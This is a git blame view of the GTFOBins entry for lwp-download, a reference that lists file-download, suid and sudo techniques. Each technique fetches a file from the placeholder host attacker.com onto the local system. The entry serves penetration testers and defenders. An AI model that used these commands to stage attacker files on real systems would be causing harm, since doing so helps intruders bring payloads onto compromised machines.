1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/lwp-download.md

20 lines
478 B
Markdown
Raw Normal View History

2020-03-17 07:19:30 +01:00
---
2020-03-17 20:41:18 +01:00
description: Fetch a remote file via HTTP GET request.
2020-03-17 07:19:30 +01:00
functions:
file-download:
2020-03-17 20:41:18 +01:00
- code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
2020-03-17 07:19:30 +01:00
lwp-download $URL $LFILE
suid:
2020-03-17 20:41:18 +01:00
- code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
2020-03-17 07:19:30 +01:00
./lwp-download $URL $LFILE
sudo:
2020-03-17 20:41:18 +01:00
- code: |
URL=http://attacker.com/file_to_get
2020-03-17 07:19:30 +01:00
export LFILE=file_to_save
sudo -E lwp-download $URL $LFILE
---